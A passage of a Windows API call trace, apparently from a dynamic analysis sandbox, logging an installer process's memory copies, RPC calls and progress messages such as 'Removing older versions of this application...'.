dwWakeMask=0x4ff) returned 0x0 [0125.101] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0125.101] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0125.101] memcpy (in: _Dst=0x335934, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335934) returned 0x335934 [0125.101] memcpy (in: _Dst=0x335936, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x335936) returned 0x335936 [0125.101] memcpy (in: _Dst=0x33593a, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33593a) returned 0x33593a [0125.101] memcpy (in: _Dst=0x33593c, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x33593c) returned 0x33593c [0125.102] memcpy (in: _Dst=0x335940, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335940) returned 0x335940 [0125.102] memcpy (in: _Dst=0x335942, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x335942) returned 0x335942 [0125.102] memcpy (in: _Dst=0x335946, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335946) returned 0x335946 [0125.102] memcpy (in: _Dst=0x335948, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x335948) returned 0x335948 [0125.102] CoTaskMemAlloc (cb=0x1c) returned 0x3c20c0 [0125.102] memcpy (in: _Dst=0x3c20c0, _Src=0x335930, _Size=0x1c | out: _Dst=0x3c20c0) returned 0x3c20c0 [0125.103] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0125.104] CoTaskMemFree (pv=0x3c20c0) [0125.104] SetEvent (hEvent=0x174) returned 1 [0125.104] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0125.120] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0125.120] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0125.120] memcpy (in: _Dst=0x335934, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335934) returned 0x335934 [0125.120] memcpy (in: _Dst=0x335936, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x335936) returned 0x335936 [0125.120] memcpy (in: _Dst=0x33593a, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33593a) returned 0x33593a [0125.120] memcpy (in: _Dst=0x33593c, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x33593c) returned 0x33593c [0125.120] memcpy (in: _Dst=0x335940, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335940) returned 0x335940 [0125.120] memcpy (in: _Dst=0x335942, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x335942) returned 0x335942 [0125.120] memcpy (in: _Dst=0x335946, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335946) returned 0x335946 [0125.120] memcpy (in: _Dst=0x335948, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x335948) returned 0x335948 [0125.120] CoTaskMemAlloc (cb=0x1c) returned 0x3c2120 [0125.120] memcpy (in: _Dst=0x3c2120, _Src=0x335930, _Size=0x1c | out: _Dst=0x3c2120) returned 0x3c2120 [0125.121] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0125.122] CoTaskMemFree (pv=0x3c2120) [0125.122] SetEvent (hEvent=0x174) returned 1 [0125.122] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0125.342] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0125.524] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0125.524] memcpy (in: _Dst=0x334cd0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd0) returned 0x334cd0 [0125.524] memcpy (in: _Dst=0x334cd2, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd2) returned 0x334cd2 [0125.524] memcpy (in: _Dst=0x334cd4, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd4) returned 0x334cd4 [0125.526] memcpy (in: _Dst=0x334cd6, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334cd6) returned 0x334cd6 [0125.526] memcpy (in: _Dst=0x334cda, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cda) returned 0x334cda [0125.526] memcpy (in: _Dst=0x334cdc, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334cdc) returned 0x334cdc [0125.526] CoTaskMemAlloc (cb=0x10) returned 0x3770f0 [0125.526] memcpy (in: _Dst=0x3770f0, _Src=0x334cd0, _Size=0x10 | out: _Dst=0x3770f0) returned 0x3770f0 [0125.526] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0125.573] CoTaskMemFree (pv=0x3770f0) [0125.573] SetEvent (hEvent=0x174) returned 1 [0125.573] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0125.578] memcpy (in: _Dst=0x334cd0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd0) returned 0x334cd0 [0125.578] memcpy (in: _Dst=0x334cd2, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd2) returned 0x334cd2 [0125.578] memcpy (in: _Dst=0x334cd4, _Src=0xdcdc00, _Size=0x2d | out: _Dst=0x334cd4) returned 0x334cd4 [0125.578] memcpy (in: _Dst=0x334d01, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334d01) returned 0x334d01 [0125.578] memcpy (in: _Dst=0x334d03, _Src=0xdcdc00, _Size=0xf | out: _Dst=0x334d03) returned 0x334d03 [0125.578] memcpy (in: _Dst=0x334d12, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334d12) returned 0x334d12 [0125.578] memcpy (in: _Dst=0x334d14, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334d14) returned 0x334d14 [0125.578] CoTaskMemAlloc (cb=0x48) returned 0x3604c0 [0125.578] memcpy (in: _Dst=0x3604c0, _Src=0x334cd0, _Size=0x48 | out: _Dst=0x3604c0) returned 0x3604c0 [0125.579] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0125.580] CoTaskMemFree (pv=0x3604c0) [0125.580] SetEvent (hEvent=0x174) returned 1 [0125.580] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0125.591] memcpy (in: _Dst=0x334cd0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd0) returned 0x334cd0 [0125.591] memcpy (in: _Dst=0x334cd2, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd2) returned 0x334cd2 [0125.591] memcpy (in: _Dst=0x334cd4, _Src=0xdcdc00, _Size=0x19 | out: _Dst=0x334cd4) returned 0x334cd4 [0125.591] memcpy (in: _Dst=0x334ced, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334ced) returned 0x334ced [0125.591] memcpy (in: _Dst=0x334cef, _Src=0xdcdc00, _Size=0x16 | out: _Dst=0x334cef) returned 0x334cef [0125.591] memcpy (in: _Dst=0x334d05, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334d05) returned 0x334d05 [0125.591] memcpy (in: _Dst=0x334d07, _Src=0xdcdc00, _Size=0x15 | out: _Dst=0x334d07) returned 0x334d07 [0125.592] memcpy (in: _Dst=0x334d1c, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334d1c) returned 0x334d1c [0125.592] memcpy (in: _Dst=0x334d1e, _Src=0xdcdc00, _Size=0x23 | out: _Dst=0x334d1e) returned 0x334d1e [0125.592] CoTaskMemAlloc (cb=0x71) returned 0x34b930 [0125.592] memcpy (in: _Dst=0x34b930, _Src=0x334cd0, _Size=0x71 | out: _Dst=0x34b930) returned 0x34b930 [0125.592] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0125.593] CoTaskMemFree (pv=0x34b930) [0125.593] SetEvent (hEvent=0x174) returned 1 [0125.593] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0125.594] memcpy (in: _Dst=0x334cd0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd0) returned 0x334cd0 [0125.594] memcpy (in: _Dst=0x334cd2, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd2) returned 0x334cd2 [0125.594] memcpy (in: _Dst=0x334cd4, _Src=0xdcdc00, _Size=0x1b | out: _Dst=0x334cd4) returned 0x334cd4 [0125.594] memcpy (in: _Dst=0x334cef, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cef) returned 0x334cef [0125.594] memcpy (in: _Dst=0x334cf1, _Src=0xdcdc00, _Size=0x16 | out: _Dst=0x334cf1) returned 0x334cf1 [0125.594] memcpy (in: _Dst=0x334d07, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334d07) returned 0x334d07 [0125.594] memcpy (in: _Dst=0x334d09, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334d09) returned 0x334d09 [0125.594] CoTaskMemAlloc (cb=0x3d) returned 0x360510 [0125.595] memcpy (in: _Dst=0x360510, _Src=0x334cd0, _Size=0x3d | out: _Dst=0x360510) returned 0x360510 [0125.595] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0125.596] CoTaskMemFree (pv=0x360510) [0125.596] SetEvent (hEvent=0x174) returned 1 [0125.596] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0125.601] lstrlenW (lpString="Removing older versions of this application...") returned 46 [0125.601] memcpy (in: _Dst=0x334cd0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd0) returned 0x334cd0 [0125.602] memcpy (in: _Dst=0x334cd2, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd2) returned 0x334cd2 [0125.602] memcpy (in: _Dst=0x334cd4, _Src=0xdcdc00, _Size=0x2e | out: _Dst=0x334cd4) returned 0x334cd4 [0125.602] CoTaskMemAlloc (cb=0x32) returned 0x2af28d0 [0125.602] memcpy (in: _Dst=0x2af28d0, _Src=0x334cd0, _Size=0x32 | out: _Dst=0x2af28d0) returned 0x2af28d0 [0125.603] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0125.604] CoTaskMemFree (pv=0x2af28d0) [0125.604] SetEvent (hEvent=0x174) returned 1 [0125.604] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0125.605] lstrlenW (lpString="Preparing to remove older versions of this application...") returned 57 [0125.605] memcpy (in: _Dst=0x334cd0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd0) returned 0x334cd0 [0125.605] memcpy (in: _Dst=0x334cd2, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd2) returned 0x334cd2 [0125.605] memcpy (in: _Dst=0x334cd4, _Src=0xdcdc00, _Size=0x39 | out: _Dst=0x334cd4) returned 0x334cd4 [0125.606] CoTaskMemAlloc (cb=0x3d) returned 0x360510 [0125.606] memcpy (in: _Dst=0x360510, _Src=0x334cd0, _Size=0x3d | out: _Dst=0x360510) returned 0x360510 [0125.607] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0125.607] CoTaskMemFree (pv=0x360510) [0125.608] SetEvent (hEvent=0x174) returned 1 [0125.608] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0125.609] lstrlenW (lpString="Time remaining: {[1] minutes }{[2] seconds}") returned 43 [0125.609] memcpy (in: _Dst=0x334cd0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd0) returned 0x334cd0 [0125.609] memcpy (in: _Dst=0x334cd2, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd2) returned 0x334cd2 [0125.609] memcpy (in: _Dst=0x334cd4, _Src=0xdcdc00, _Size=0x2b | out: _Dst=0x334cd4) returned 0x334cd4 [0125.610] CoTaskMemAlloc (cb=0x2f) returned 0x2af2810 [0125.610] memcpy (in: _Dst=0x2af2810, _Src=0x334cd0, _Size=0x2f | out: _Dst=0x2af2810) returned 0x2af2810 [0125.610] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0125.612] CoTaskMemFree (pv=0x2af2810) [0125.612] SetEvent (hEvent=0x174) returned 1 [0125.612] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0125.613] lstrlenW (lpString="Gathering required information...") returned 33 [0125.613] memcpy (in: _Dst=0x334cd0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd0) returned 0x334cd0 [0125.613] memcpy (in: _Dst=0x334cd2, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd2) returned 0x334cd2 [0125.613] memcpy (in: _Dst=0x334cd4, _Src=0xdcdc00, _Size=0x21 | out: _Dst=0x334cd4) returned 0x334cd4 [0125.614] CoTaskMemAlloc (cb=0x25) returned 0x3c2120 [0125.614] memcpy (in: _Dst=0x3c2120, _Src=0x334cd0, _Size=0x25 | out: _Dst=0x3c2120) returned 0x3c2120 [0125.615] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0125.616] CoTaskMemFree (pv=0x3c2120) [0125.616] SetEvent (hEvent=0x174) returned 1 [0125.616] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0125.618] memcpy (in: _Dst=0x334cd0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd0) returned 0x334cd0 [0125.618] memcpy (in: _Dst=0x334cd2, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd2) returned 0x334cd2 [0125.618] memcpy (in: _Dst=0x334cd4, _Src=0xdcdc00, _Size=0x2d | out: _Dst=0x334cd4) returned 0x334cd4 [0125.618] memcpy (in: _Dst=0x334d01, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334d01) returned 0x334d01 [0125.618] memcpy (in: _Dst=0x334d03, _Src=0xdcdc00, _Size=0x16 | out: _Dst=0x334d03) returned 0x334d03 [0125.618] memcpy (in: _Dst=0x334d19, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334d19) returned 0x334d19 [0125.618] memcpy (in: _Dst=0x334d1b, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334d1b) returned 0x334d1b [0125.620] CoTaskMemAlloc (cb=0x4f) returned 0x380190 [0125.620] memcpy (in: _Dst=0x380190, _Src=0x334cd0, _Size=0x4f | out: _Dst=0x380190) returned 0x380190 [0125.621] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0125.622] CoTaskMemFree (pv=0x380190) [0125.622] SetEvent (hEvent=0x174) returned 1 [0125.622] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0125.628] memcpy (in: _Dst=0x334cd0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd0) returned 0x334cd0 [0125.628] memcpy (in: _Dst=0x334cd2, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd2) returned 0x334cd2 [0125.628] memcpy (in: _Dst=0x334cd4, _Src=0xdcdc00, _Size=0x19 | out: _Dst=0x334cd4) returned 0x334cd4 [0125.628] memcpy (in: _Dst=0x334ced, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334ced) returned 0x334ced [0125.628] memcpy (in: _Dst=0x334cef, _Src=0xdcdc00, _Size=0x11 | out: _Dst=0x334cef) returned 0x334cef [0125.628] memcpy (in: _Dst=0x334d00, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334d00) returned 0x334d00 [0125.628] memcpy (in: _Dst=0x334d02, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334d02) returned 0x334d02 [0125.628] CoTaskMemAlloc (cb=0x34) returned 0x2af28d0 [0125.628] memcpy (in: _Dst=0x2af28d0, _Src=0x334cd0, _Size=0x34 | out: _Dst=0x2af28d0) returned 0x2af28d0 [0125.629] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0125.630] CoTaskMemFree (pv=0x2af28d0) [0125.630] SetEvent (hEvent=0x174) returned 1 [0125.630] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0125.683] memcpy (in: _Dst=0x334cd0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd0) returned 0x334cd0 [0125.683] memcpy (in: _Dst=0x334cd2, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd2) returned 0x334cd2 [0125.683] memcpy (in: _Dst=0x334cd4, _Src=0xdcdc00, _Size=0x1b | out: _Dst=0x334cd4) returned 0x334cd4 [0125.683] memcpy (in: _Dst=0x334cef, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cef) returned 0x334cef [0125.683] memcpy (in: _Dst=0x334cf1, _Src=0xdcdc00, _Size=0x11 | out: _Dst=0x334cf1) returned 0x334cf1 [0125.683] memcpy (in: _Dst=0x334d02, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334d02) returned 0x334d02 [0125.683] memcpy (in: _Dst=0x334d04, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334d04) returned 0x334d04 [0125.683] CoTaskMemAlloc (cb=0x38) returned 0x2af2810 [0125.683] memcpy (in: _Dst=0x2af2810, _Src=0x334cd0, _Size=0x38 | out: _Dst=0x2af2810) returned 0x2af2810 [0125.684] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0125.728] CoTaskMemFree (pv=0x2af2810) [0125.728] SetEvent (hEvent=0x174) returned 1 [0125.728] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0125.887] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0126.057] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0126.244] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0126.437] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0126.630] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0126.774] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0126.946] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0127.104] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0127.180] memcpy (in: _Dst=0x334cd0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd0) returned 0x334cd0 [0127.180] memcpy (in: _Dst=0x334cd2, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd2) returned 0x334cd2 [0127.180] memcpy (in: _Dst=0x334cd4, _Src=0xdcdc00, _Size=0x2d | out: _Dst=0x334cd4) returned 0x334cd4 [0127.180] memcpy (in: _Dst=0x334d01, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334d01) returned 0x334d01 [0127.180] memcpy (in: _Dst=0x334d03, _Src=0xdcdc00, _Size=0x11 | out: _Dst=0x334d03) returned 0x334d03 [0127.180] memcpy (in: _Dst=0x334d14, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334d14) returned 0x334d14 [0127.180] memcpy (in: _Dst=0x334d16, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334d16) returned 0x334d16 [0127.180] CoTaskMemAlloc (cb=0x4a) returned 0x380130 [0127.180] memcpy (in: _Dst=0x380130, _Src=0x334cd0, _Size=0x4a | out: _Dst=0x380130) returned 0x380130 [0127.181] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0127.183] CoTaskMemFree (pv=0x380130) [0127.183] SetEvent (hEvent=0x174) returned 1 [0127.183] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0127.192] memcpy (in: _Dst=0x334cd0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd0) returned 0x334cd0 [0127.192] memcpy (in: _Dst=0x334cd2, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd2) returned 0x334cd2 [0127.192] memcpy (in: _Dst=0x334cd4, _Src=0xdcdc00, _Size=0x19 | out: _Dst=0x334cd4) returned 0x334cd4 [0127.192] memcpy (in: _Dst=0x334ced, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334ced) returned 0x334ced [0127.192] memcpy (in: _Dst=0x334cef, _Src=0xdcdc00, _Size=0x11 | out: _Dst=0x334cef) returned 0x334cef [0127.193] memcpy (in: _Dst=0x334d00, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334d00) returned 0x334d00 [0127.193] memcpy (in: _Dst=0x334d02, _Src=0xdcdc00, _Size=0x1f | out: _Dst=0x334d02) returned 0x334d02 [0127.193] memcpy (in: _Dst=0x334d21, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334d21) returned 0x334d21 [0127.193] CoTaskMemAlloc (cb=0x53) returned 0x3805b0 [0127.193] memcpy (in: _Dst=0x3805b0, _Src=0x334cd0, _Size=0x53 | out: _Dst=0x3805b0) returned 0x3805b0 [0127.194] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0127.195] CoTaskMemFree (pv=0x3805b0) [0127.195] SetEvent (hEvent=0x174) returned 1 [0127.195] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0127.197] memcpy (in: _Dst=0x334cd0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd0) returned 0x334cd0 [0127.197] memcpy (in: _Dst=0x334cd2, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd2) returned 0x334cd2 [0127.197] memcpy (in: _Dst=0x334cd4, _Src=0xdcdc00, _Size=0x1b | out: _Dst=0x334cd4) returned 0x334cd4 [0127.197] memcpy (in: _Dst=0x334cef, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cef) returned 0x334cef [0127.197] memcpy (in: _Dst=0x334cf1, _Src=0xdcdc00, _Size=0x11 | out: _Dst=0x334cf1) returned 0x334cf1 [0127.197] memcpy (in: _Dst=0x334d02, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334d02) returned 0x334d02 [0127.197] memcpy (in: _Dst=0x334d04, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334d04) returned 0x334d04 [0127.197] CoTaskMemAlloc (cb=0x38) returned 0x2af28d0 [0127.197] memcpy (in: _Dst=0x2af28d0, _Src=0x334cd0, _Size=0x38 | out: _Dst=0x2af28d0) returned 0x2af28d0 [0127.198] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0127.199] CoTaskMemFree (pv=0x2af28d0) [0127.199] SetEvent (hEvent=0x174) returned 1 [0127.199] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0127.361] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0127.549] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0127.934] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0127.934] memcpy (in: _Dst=0x334cd0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd0) returned 0x334cd0 [0127.934] memcpy (in: _Dst=0x334cd2, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd2) returned 0x334cd2 [0127.934] memcpy (in: _Dst=0x334cd4, _Src=0xdcdc00, _Size=0x19 | out: _Dst=0x334cd4) returned 0x334cd4 [0127.934] memcpy (in: _Dst=0x334ced, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334ced) returned 0x334ced [0127.934] memcpy (in: _Dst=0x334cef, _Src=0xdcdc00, _Size=0xe | out: _Dst=0x334cef) returned 0x334cef [0127.934] memcpy (in: _Dst=0x334cfd, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cfd) returned 0x334cfd [0127.934] memcpy (in: _Dst=0x334cff, _Src=0xdcdc00, _Size=0x28 | out: _Dst=0x334cff) returned 0x334cff [0127.934] memcpy (in: _Dst=0x334d27, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334d27) returned 0x334d27 [0127.934] memcpy (in: _Dst=0x334d29, _Src=0xdcdc00, _Size=0x3 | out: _Dst=0x334d29) returned 0x334d29 [0127.934] CoTaskMemAlloc (cb=0x5c) returned 0x3d6170 [0127.935] memcpy (in: _Dst=0x3d6170, _Src=0x334cd0, _Size=0x5c | out: _Dst=0x3d6170) returned 0x3d6170 [0127.935] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0127.945] CoTaskMemFree (pv=0x3d6170) [0127.945] SetEvent (hEvent=0x174) returned 1 [0127.945] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0127.946] memcpy (in: _Dst=0x334cd0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd0) returned 0x334cd0 [0127.946] memcpy (in: _Dst=0x334cd2, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd2) returned 0x334cd2 [0127.946] memcpy (in: _Dst=0x334cd4, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd4) returned 0x334cd4 [0127.946] memcpy (in: _Dst=0x334cd6, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334cd6) returned 0x334cd6 [0127.946] memcpy (in: _Dst=0x334cda, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cda) returned 0x334cda [0127.946] memcpy (in: _Dst=0x334cdc, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334cdc) returned 0x334cdc [0127.946] memcpy (in: _Dst=0x334ce0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334ce0) returned 0x334ce0 [0127.946] memcpy (in: _Dst=0x334ce2, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334ce2) returned 0x334ce2 [0127.946] memcpy (in: _Dst=0x334ce6, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334ce6) returned 0x334ce6 [0127.946] memcpy (in: _Dst=0x334ce8, _Src=0xdcdba8, 